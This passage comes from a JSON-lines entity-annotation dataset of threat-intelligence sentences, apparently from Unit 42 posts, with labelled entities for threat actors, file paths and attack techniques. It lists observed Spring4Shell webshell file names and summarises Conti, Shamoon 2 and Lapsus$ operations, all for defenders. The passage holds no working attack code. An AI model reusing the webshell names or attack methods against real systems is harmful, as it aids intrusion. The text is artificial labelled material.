crashed_log_","entities":[{"id":47623,"label":"FILEPATH","start_offset":669,"end_offset":678},{"id":47602,"label":"vulnerability","start_offset":76,"end_offset":90},{"id":47603,"label":"vulnerability","start_offset":92,"end_offset":106},{"id":47604,"label":"SOFTWARE","start_offset":0,"end_offset":12},{"id":47605,"label":"vulnerability","start_offset":29,"end_offset":40},{"id":47608,"label":"vulnerability","start_offset":129,"end_offset":149},{"id":47609,"label":"FILEPATH","start_offset":151,"end_offset":187},{"id":47610,"label":"FILEPATH","start_offset":188,"end_offset":224},{"id":47611,"label":"FILEPATH","start_offset":225,"end_offset":261},{"id":47606,"label":"SOFTWARE","start_offset":52,"end_offset":58},{"id":47607,"label":"SOFTWARE","start_offset":111,"end_offset":121},{"id":47619,"label":"FILEPATH","start_offset":521,"end_offset":557},{"id":47620,"label":"FILEPATH","start_offset":558,"end_offset":594},{"id":47621,"label":"FILEPATH","start_offset":595,"end_offset":631},{"id":47622,"label":"FILEPATH","start_offset":632,"end_offset":668},{"id":47624,"label":"FILEPATH","start_offset":679,"end_offset":688},{"id":47625,"label":"FILEPATH","start_offset":689,"end_offset":698},{"id":47626,"label":"FILEPATH","start_offset":699,"end_offset":735},{"id":47627,"label":"FILEPATH","start_offset":736,"end_offset":770},{"id":47628,"label":"FILEPATH","start_offset":779,"end_offset":815},{"id":47629,"label":"FILEPATH","start_offset":816,"end_offset":852},{"id":47630,"label":"FILEPATH","start_offset":853,"end_offset":887},{"id":47631,"label":"FILEPATH","start_offset":888,"end_offset":922},{"id":47633,"label":"FILEPATH","start_offset":958,"end_offset":992},{"id":47612,"label":"FILEPATH","start_offset":262,"end_offset":298},{"id":47613,"label":"FILEPATH","start_offset":299,"end_offset":335},{"id":47614,"label":"FILEPATH","start_offset":336,"end_offset":371},{"id":47615,"label":"FILEPATH","start_offset":373,"end_offset":409},{"id":47616,"label":"FILEPATH","start_offset":410,"end_offset":446},{"id":47617,"label":"FILEPATH","start_offset":447,"end_offset":483},{"id":47618,"label":"FILEPATH","start_offset":484,"end_offset":520},{"id":47632,"label":"FILEPATH","start_offset":923,"end_offset":957},{"id":47634,"label":"FILEPATH","start_offset":993,"end_offset":1027},{"id":47635,"label":"FILEPATH","start_offset":1028,"end_offset":1064},{"id":47637,"label":"FILEPATH","start_offset":1065,"end_offset":1101},{"id":47638,"label":"FILEPATH","start_offset":1102,"end_offset":1138},{"id":47645,"label":"FILEPATH","start_offset":1349,"end_offset":1383},{"id":47650,"label":"FILEPATH","start_offset":1524,"end_offset":1558},{"id":47652,"label":"FILEPATH","start_offset":1559,"end_offset":1593},{"id":47653,"label":"FILEPATH","start_offset":1594,"end_offset":1628},{"id":47639,"label":"FILEPATH","start_offset":1139,"end_offset":1173},{"id":47640,"label":"FILEPATH","start_offset":1174,"end_offset":1208},{"id":47641,"label":"FILEPATH","start_offset":1209,"end_offset":1243},{"id":47642,"label":"FILEPATH","start_offset":1244,"end_offset":1278},{"id":47643,"label":"FILEPATH","start_offset":1279,"end_offset":1313},{"id":47646,"label":"FILEPATH","start_offset":1384,"end_offset":1418},{"id":47647,"label":"FILEPATH","start_offset":1419,"end_offset":1453},{"id":47648,"label":"FILEPATH","start_offset":1454,"end_offset":1488},{"id":47649,"label":"FILEPATH","start_offset":1489,"end_offset":1523},{"id":47657,"label":"FILEPATH","start_offset":1709,"end_offset":1724},{"id":47658,"label":"FILEPATH","start_offset":1725,"end_offset":1759},{"id":47659,"label":"FILEPATH","start_offset":1760,"end_offset":1794},{"id":47644,"label":"FILEPATH","start_offset":1314,"end_offset":1348},{"id":47654,"label":"FILEPATH","start_offset":1629,"end_offset":1663},{"id":47655,"label":"FILEPATH","start_offset":1664,"end_offset":1673},{"id":47656,"label":"FILEPATH","start_offset":1674,"end_offset":1708},{"id":47660,"label":"FILEPATH","start_offset":1795,"end_offset":1829},{"id":47661,"label":"FILEPATH","start_offset":1830,"end_offset":1864},{"id":47662,"label":"FILEPATH","start_offset":1865,"end_offset":1899},{"id":47663,"label":"FILEPATH","start_offset":1900,"end_offset":1934},{"id":47664,"label":"FILEPATH","start_offset":1935,"end_offset":1969},{"id":47665,"label":"FILEPATH","start_offset":1970,"end_offset":2004},{"id":47666,"label":"FILEPATH","start_offset":2005,"end_offset":2039},{"id":47667,"label":"FILEPATH","start_offset":2040,"end_offset":2074},{"id":47668,"label":"FILEPATH","start_offset":2075,"end_offset":2085},{"id":47669,"label":"FILEPATH","start_offset":2086,"end_offset":2098}],"relations":[],"Comments":[]}
-{"id":2502,"text":"gdGCT.jsp","entities":[{"id":45552,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":2503,"text":"myshell.jsp","entities":[{"id":47670,"label":"FILEPATH","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2504,"text":"rakesh.jsp","entities":[{"id":47673,"label":"FILEPATH","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2505,"text":"shei1.jsp","entities":[{"id":45553,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":2506,"text":"shell13.jsp","entities":[{"id":47674,"label":"FILEPATH","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2507,"text":"tomcatlogin.jsp","entities":[{"id":47676,"label":"FILEPATH","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":2508,"text":"data_theorem_spring4shell_scan.txt","entities":[{"id":45555,"label":"FILEPATH","start_offset":0,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":2509,"text":"jarom_h1.jsp","entities":[{"id":47677,"label":"FILEPATH","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2510,"text":"jquery123123123cssbackup7331.jsp tomjj.jsp test1.jsp hackerone0x.jsp inject.jsp poc4bugb.jsp curiositysec.jsp mynameis0bsecure.jsp tomcatwa.jsp ahmed.txt testqqsg.jsp wpz.jsp lelel.jsp shell.jsp 07935fdf05b66.jsp vulntest-12345.txt jquerycssv2.js poc.jsp tomcatspring.jsp ofc.jsp lalalalal.jsp safetytest.txt log.txt safetytest javatestfila.jsp checkexploit.jsp tomcatwar.jsp  Updated April 19, 2022, at 7:30 a.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":47693,"label":"FILEPATH","start_offset":185,"end_offset":194},{"id":47678,"label":"FILEPATH","start_offset":0,"end_offset":32},{"id":47683,"label":"FILEPATH","start_offset":80,"end_offset":92},{"id":47685,"label":"FILEPATH","start_offset":93,"end_offset":109},{"id":47700,"label":"FILEPATH","start_offset":280,"end_offset":293},{"id":47704,"label":"FILEPATH","start_offset":328,"end_offset":344},{"id":47705,"label":"FILEPATH","start_offset":345,"end_offset":361},{"id":47706,"label":"FILEPATH","start_offset":362,"end_offset":375},{"id":47708,"label":"TIME","start_offset":377,"end_offset":416},{"id":47679,"label":"FILEPATH","start_offset":33,"end_offset":42},{"id":47680,"label":"FILEPATH","start_offset":43,"end_offset":52},{"id":47681,"label":"FILEPATH","start_offset":53,"end_offset":68},{"id":47682,"label":"FILEPATH","start_offset":69,"end_offset":79},{"id":47686,"label":"FILEPATH","start_offset":110,"end_offset":130},{"id":47687,"label":"FILEPATH","start_offset":131,"end_offset":143},{"id":47688,"label":"FILEPATH","start_offset":144,"end_offset":152},{"id":47689,"label":"FILEPATH","start_offset":154,"end_offset":166},{"id":47690,"label":"FILEPATH","start_offset":167,"end_offset":174},{"id":47694,"label":"FILEPATH","start_offset":195,"end_offset":212},{"id":47695,"label":"FILEPATH","start_offset":213,"end_offset":231},{"id":47692,"label":"FILEPATH","start_offset":175,"end_offset":184},{"id":47697,"label":"FILEPATH","start_offset":247,"end_offset":254},{"id":47696,"label":"FILEPATH","start_offset":232,"end_offset":246},{"id":47698,"label":"FILEPATH","start_offset":255,"end_offset":271},{"id":47699,"label":"FILEPATH","start_offset":272,"end_offset":279},{"id":47702,"label":"FILEPATH","start_offset":294,"end_offset":308},{"id":47703,"label":"FILEPATH","start_offset":309,"end_offset":316}],"relations":[],"Comments":[]}
-{"id":2511,"text":"This post is also available in:      日本語 (Japanese)  Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow.","entities":[{"id":45556,"label":"threat-actor","start_offset":53,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":2512,"text":"The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.","entities":[],"relations":[],"Comments":[]}
-{"id":2513,"text":"Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system – prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.","entities":[{"id":47709,"label":"location","start_offset":0,"end_offset":7},{"id":47710,"label":"TIME","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":2514,"text":" Conti also stands out as unreliable.","entities":[{"id":45557,"label":"threat-actor","start_offset":1,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":2515,"text":"We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.","entities":[],"relations":[],"Comments":[]}
-{"id":2516,"text":" The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.","entities":[{"id":47712,"label":"threat-actor","start_offset":23,"end_offset":28},{"id":47713,"label":"location","start_offset":133,"end_offset":137},{"id":47711,"label":"identity","start_offset":5,"end_offset":8}],"relations":[{"id":343,"from_id":47712,"to_id":47713,"type":"targets"}],"Comments":[]}
-{"id":2517,"text":"This makes Conti one of the greediest groups out there.","entities":[{"id":45558,"label":"threat-actor","start_offset":11,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":2518,"text":" If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.","entities":[{"id":7555,"label":"EMAIL","start_offset":55,"end_offset":97},{"id":47714,"label":"identity","start_offset":146,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":2519,"text":" We’ve followed Conti for more than a year through our work helping organizations respond to ransomware attacks.","entities":[{"id":47715,"label":"threat-actor","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2520,"text":"It appears to be one of many private cybercrime groups that have set up their operations by leveraging the booming ransomware-as-a-service (RaaS) ecosystem.","entities":[],"relations":[],"Comments":[]}
-{"id":2521,"text":"Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.","entities":[{"id":47716,"label":"attack-pattern","start_offset":69,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":2522,"text":"They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers.","entities":[],"relations":[],"Comments":[]}
-{"id":2523,"text":"Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it’s achieved, such as through the use of Cobalt Strike or PowerShell.","entities":[{"id":47719,"label":"attack-pattern","start_offset":171,"end_offset":212},{"id":47717,"label":"attack-pattern","start_offset":94,"end_offset":109},{"id":47718,"label":"attack-pattern","start_offset":114,"end_offset":165},{"id":47720,"label":"tools","start_offset":328,"end_offset":341},{"id":47721,"label":"tools","start_offset":345,"end_offset":355}],"relations":[],"Comments":[]}
-{"id":2524,"text":" These approaches are not particularly clever or sophisticated, but often they are effective.","entities":[],"relations":[],"Comments":[]}
-{"id":2525,"text":"Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using.","entities":[{"id":47722,"label":"threat-actor","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":2526,"text":"When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.  But Conti’s methods do have atypical elements.","entities":[{"id":47723,"label":"threat-actor","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
-{"id":2527,"text":" Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims.","entities":[],"relations":[],"Comments":[]}
-{"id":2528,"text":"They want to establish stellar reputations for “customer service” and for delivering on what they promise – that if you pay a ransom, your files will be decrypted (and they will not appear on a leak website).","entities":[],"relations":[],"Comments":[]}
-{"id":2529,"text":"Yet in our experience helping clients remediate attacks, Conti has not demonstrated any signs that it cares about its reputation with would-be victims.","entities":[{"id":45562,"label":"threat-actor","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2530,"text":" In one recent case, Conti did not return a client’s files who had paid the ransom.","entities":[{"id":47724,"label":"threat-actor","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":2531,"text":"This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web.","entities":[{"id":47725,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":2532,"text":"In another case, our client needed an inventory of all files accessed, so that they could notify parties whose data was affected.","entities":[],"relations":[],"Comments":[]}
-{"id":2533,"text":"Conti agreed to share that information if a payment was made, then changed their minds, saying, “We do not own that data anymore.","entities":[],"relations":[],"Comments":[]}
-{"id":2534,"text":"It was deleted and there is no chance to restore it.”","entities":[],"relations":[],"Comments":[]}
-{"id":2535,"text":"Like many ransomware gangs, Conti is constantly adapting to changes, including recent heightened scrutiny by law enforcement and policy makers following high-profile disruptive attacks on the Colonial pipeline and healthcare organizations.","entities":[{"id":47726,"label":"threat-actor","start_offset":28,"end_offset":33},{"id":47727,"label":"identity","start_offset":192,"end_offset":209}],"relations":[],"Comments":[]}
-{"id":2536,"text":"When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key.","entities":[{"id":47728,"label":"location","start_offset":5,"end_offset":12},{"id":47729,"label":"attack-pattern","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2537,"text":"But there was a twist: The group maintained that it would still make good on its \"double extortion\" threat to publish stolen data on its leak site.","entities":[],"relations":[],"Comments":[]}
-{"id":2538,"text":" Unfortunately, keeping Conti out of your network often isn’t simple.","entities":[{"id":45565,"label":"threat-actor","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":2539,"text":"A primary means of infection appears to be through phishing scams, and attackers are constantly upping their game in this area.","entities":[{"id":47730,"label":"attack-pattern","start_offset":51,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2540,"text":"While phishing emails used to be pretty easy for almost anyone to spot, particularly after some awareness training, we are seeing increasingly sophisticated attacks in which the threat actors have done plenty of homework on their intended victims.","entities":[{"id":47731,"label":"attack-pattern","start_offset":6,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2541,"text":"Sometimes they’ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network.  Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds.","entities":[{"id":47733,"label":"attack-pattern","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":2542,"text":"Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.","entities":[],"relations":[],"Comments":[]}
-{"id":2543,"text":" Palo Alto Networks detects and prevents Conti ransomware in the following ways:  Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.","entities":[{"id":47735,"label":"threat-actor","start_offset":41,"end_offset":46},{"id":47734,"label":"identity","start_offset":1,"end_offset":19},{"id":47737,"label":"SOFTWARE","start_offset":167,"end_offset":173},{"id":47738,"label":"SOFTWARE","start_offset":206,"end_offset":213},{"id":47736,"label":"threat-actor","start_offset":144,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":2544,"text":" Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001]  Windows Command Shell [T1059.003], Native API [T1106]  Deobfuscate\/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001]  File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049]  SMB\/Windows Admin Shares [T1021.002], Taint Shared Content [T1080]  Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489]  Table 1.","entities":[{"id":45576,"label":"attack-pattern","start_offset":82,"end_offset":115},{"id":45577,"label":"attack-pattern","start_offset":117,"end_offset":135},{"id":45579,"label":"attack-pattern","start_offset":186,"end_offset":225},{"id":45580,"label":"attack-pattern","start_offset":227,"end_offset":269},{"id":45584,"label":"attack-pattern","start_offset":369,"end_offset":415},{"id":45586,"label":"attack-pattern","start_offset":463,"end_offset":499},{"id":45575,"label":"attack-pattern","start_offset":44,"end_offset":80},{"id":45587,"label":"attack-pattern","start_offset":501,"end_offset":529},{"id":45590,"label":"attack-pattern","start_offset":599,"end_offset":619},{"id":45574,"label":"attack-pattern","start_offset":1,"end_offset":42},{"id":45585,"label":"attack-pattern","start_offset":417,"end_offset":461},{"id":45578,"label":"attack-pattern","start_offset":137,"end_offset":184},{"id":45581,"label":"attack-pattern","start_offset":271,"end_offset":307},{"id":45582,"label":"attack-pattern","start_offset":309,"end_offset":340},{"id":45583,"label":"attack-pattern","start_offset":342,"end_offset":367},{"id":45588,"label":"attack-pattern","start_offset":531,"end_offset":564},{"id":45589,"label":"attack-pattern","start_offset":566,"end_offset":597}],"relations":[],"Comments":[]}
-{"id":2545,"text":"Courses of Action for Conti ransomware.","entities":[{"id":7672,"label":"threat-actor","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":2546,"text":" †These capabilities are part of the NGFW security subscriptions service.","entities":[],"relations":[],"Comments":[]}
-{"id":2547,"text":" * These analytic detectors will trigger automatically for Cortex XDR Pro customers.","entities":[{"id":45591,"label":"SOFTWARE","start_offset":59,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":2548,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2549,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2550,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2551,"text":"Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.","entities":[{"id":47739,"label":"identity","start_offset":0,"end_offset":7},{"id":47740,"label":"threat-actor","start_offset":44,"end_offset":53},{"id":47741,"label":"TIME","start_offset":76,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":2552,"text":"To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.","entities":[{"id":47742,"label":"TIME","start_offset":0,"end_offset":7},{"id":47743,"label":"threat-actor","start_offset":9,"end_offset":18},{"id":47744,"label":"TIME","start_offset":66,"end_offset":83},{"id":47745,"label":"TIME","start_offset":85,"end_offset":102},{"id":47746,"label":"TIME","start_offset":108,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":2553,"text":" Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely?","entities":[{"id":47747,"label":"threat-actor","start_offset":103,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":2554,"text":"The answer is simple: credential theft.","entities":[{"id":47748,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":2555,"text":" Credential theft has been known to be a key part of the Shamoon 2 attacks.","entities":[{"id":47749,"label":"attack-pattern","start_offset":1,"end_offset":17},{"id":47750,"label":"threat-actor","start_offset":57,"end_offset":66}],"relations":[{"id":348,"from_id":47750,"to_id":47749,"type":"uses"}],"Comments":[]}
-{"id":2556,"text":"What our research is showing that’s new is how the attackers use the credentials once they’ve breached the network.","entities":[],"relations":[],"Comments":[]}
-{"id":2557,"text":" And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.","entities":[{"id":47751,"label":"attack-pattern","start_offset":30,"end_offset":46},{"id":47753,"label":"attack-pattern","start_offset":116,"end_offset":132},{"id":47752,"label":"threat-actor","start_offset":66,"end_offset":75},{"id":47754,"label":"threat-actor","start_offset":138,"end_offset":147}],"relations":[{"id":346,"from_id":47752,"to_id":47751,"type":"uses"},{"id":347,"from_id":47754,"to_id":47753,"type":"uses"}],"Comments":[]}
-{"id":2558,"text":" In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages:  These stages are outlined in the image below.  And that credential theft is a key element in each stage:  It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials.","entities":[{"id":47755,"label":"threat-actor","start_offset":45,"end_offset":54},{"id":47758,"label":"campaign","start_offset":286,"end_offset":302},{"id":47756,"label":"attack-pattern","start_offset":172,"end_offset":188}],"relations":[{"id":349,"from_id":47758,"to_id":47756,"type":"uses"}],"Comments":[]}
-{"id":2559,"text":"While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2560,"text":" At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these credentials.","entities":[{"id":47759,"label":"threat-actor","start_offset":74,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":2561,"text":"We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.","entities":[{"id":47761,"label":"campaign","start_offset":85,"end_offset":105},{"id":47760,"label":"campaign","start_offset":67,"end_offset":76},{"id":47762,"label":"campaign","start_offset":219,"end_offset":228}],"relations":[{"id":350,"from_id":47761,"to_id":47760,"type":"related-to"}],"Comments":[]}
-{"id":2562,"text":" We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.","entities":[{"id":47763,"label":"SOFTWARE","start_offset":133,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":2563,"text":"This is also suggestive of access to the network through legitimate, stolen credentials.","entities":[],"relations":[],"Comments":[]}
-{"id":2564,"text":"In one sample we examined, we found a total of 844 hostnames.","entities":[],"relations":[],"Comments":[]}
-{"id":2565,"text":" This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that’s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.","entities":[{"id":45593,"label":"threat-actor","start_offset":168,"end_offset":177},{"id":45594,"label":"malware","start_offset":47,"end_offset":56},{"id":45595,"label":"malware","start_offset":220,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":2566,"text":" Shamoon 2 attacks are very targeted to a specific region.","entities":[{"id":47764,"label":"threat-actor","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2567,"text":"But it would be a mistake to write-off the threat that Shamoon 2 demonstrates.","entities":[{"id":47765,"label":"threat-actor","start_offset":55,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":2568,"text":"Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making.","entities":[{"id":45596,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":2569,"text":"The power of their attack doesn’t lie in the tools they use but in their ability to obtain and abuse legitimate credentials.","entities":[{"id":47766,"label":"attack-pattern","start_offset":84,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":2570,"text":" This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.","entities":[{"id":47767,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":2571,"text":"We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.","entities":[{"id":45597,"label":"identity","start_offset":31,"end_offset":38},{"id":45598,"label":"attack-pattern","start_offset":54,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":2572,"text":"To help customers take steps to better understand and protect against this threat, we’ve posted information in our article PAN-OS Configuration Recommendations to Protect Against Shamoon 2 located in our Threat and Vulnerability Articles section on our Live Community.","entities":[{"id":47768,"label":"threat-actor","start_offset":179,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":2573,"text":"You can also join in the discussion in our “About Threat and Vulnerability Discussions” on the Live Community.","entities":[],"relations":[],"Comments":[]}
-{"id":2574,"text":" Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[{"id":45599,"label":"TIME","start_offset":47,"end_offset":63},{"id":45600,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":2575,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]}
-{"id":2576,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]}
-{"id":2577,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2578,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2579,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2580,"text":"This post is also available in:      日本語 (Japanese)  The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.","entities":[{"id":45601,"label":"threat-actor","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":2581,"text":"Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.","entities":[{"id":7789,"label":"threat-actor","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2582,"text":"In today’s environment, threat actors favor using ransomware to encrypt data and systems and often extort victims for significant amounts of cryptocurrency in exchange for decryption keys, sometimes turning up the pressure with the threat of publishing stolen data.","entities":[],"relations":[],"Comments":[]}
-{"id":2583,"text":"Lapsus$, however, is unusual in its approach – for this group, notoriety most often appears to be the goal, rather than financial gain.","entities":[{"id":45602,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2584,"text":" Unit 42 has helped organizations respond to multiple Lapsus$ attacks.","entities":[{"id":47769,"label":"identity","start_offset":1,"end_offset":8},{"id":7797,"label":"threat-actor","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":2585,"text":"The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion.","entities":[{"id":47771,"label":"attack-pattern","start_offset":26,"end_offset":40},{"id":47770,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2586,"text":"They focus on using a combination of stolen credentials and social engineering to gain access to victims.","entities":[{"id":45603,"label":"attack-pattern","start_offset":37,"end_offset":55},{"id":45604,"label":"attack-pattern","start_offset":60,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2587,"text":"We’ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.","entities":[{"id":47772,"label":"SOFTWARE","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":2588,"text":" However, the group’s attacks and leaking of stolen data even without extortion can be very damaging.","entities":[],"relations":[],"Comments":[]}
-{"id":2589,"text":"In addition, we’ve seen destructive Lapsus$ attacks where the actors got access to an organization’s cloud environment, wiped systems and destroyed over a thousand virtual machines.","entities":[{"id":45605,"label":"threat-actor","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2590,"text":" Although there are no public indicators of compromise (IoCs), and no tactics, techniques and procedures (TTPs) that are unique to Lapsus$ Group, here we will summarize what is known of this threat actor to better enable defenders in understanding and mitigating this threat.","entities":[{"id":47773,"label":"threat-actor","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":2591,"text":"Early Targets of Lapsus$ Evolution of Targeted Organizations Mitigation Actions Conclusion","entities":[{"id":7821,"label":"threat-actor","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":2592,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]}
-{"id":2593,"text":" We first observed the “Lapsus$” handle mid-2021, but the first attack activity quoting that handle was in August 2021, with some U.K. mobile phone customers reporting receiving threatening texts (Figure 1).","entities":[{"id":47774,"label":"threat-actor","start_offset":24,"end_offset":31},{"id":47776,"label":"TIME","start_offset":107,"end_offset":118},{"id":47777,"label":"location","start_offset":130,"end_offset":134},{"id":47775,"label":"TIME","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":2594,"text":"In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2).","entities":[{"id":47778,"label":"TIME","start_offset":3,"end_offset":16},{"id":47780,"label":"threat-actor","start_offset":87,"end_offset":94},{"id":47779,"label":"identity","start_offset":22,"end_offset":50}],"relations":[{"id":351,"from_id":47780,"to_id":47779,"type":"targets"}],"Comments":[]}
-{"id":2595,"text":"This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.","entities":[],"relations":[],"Comments":[]}
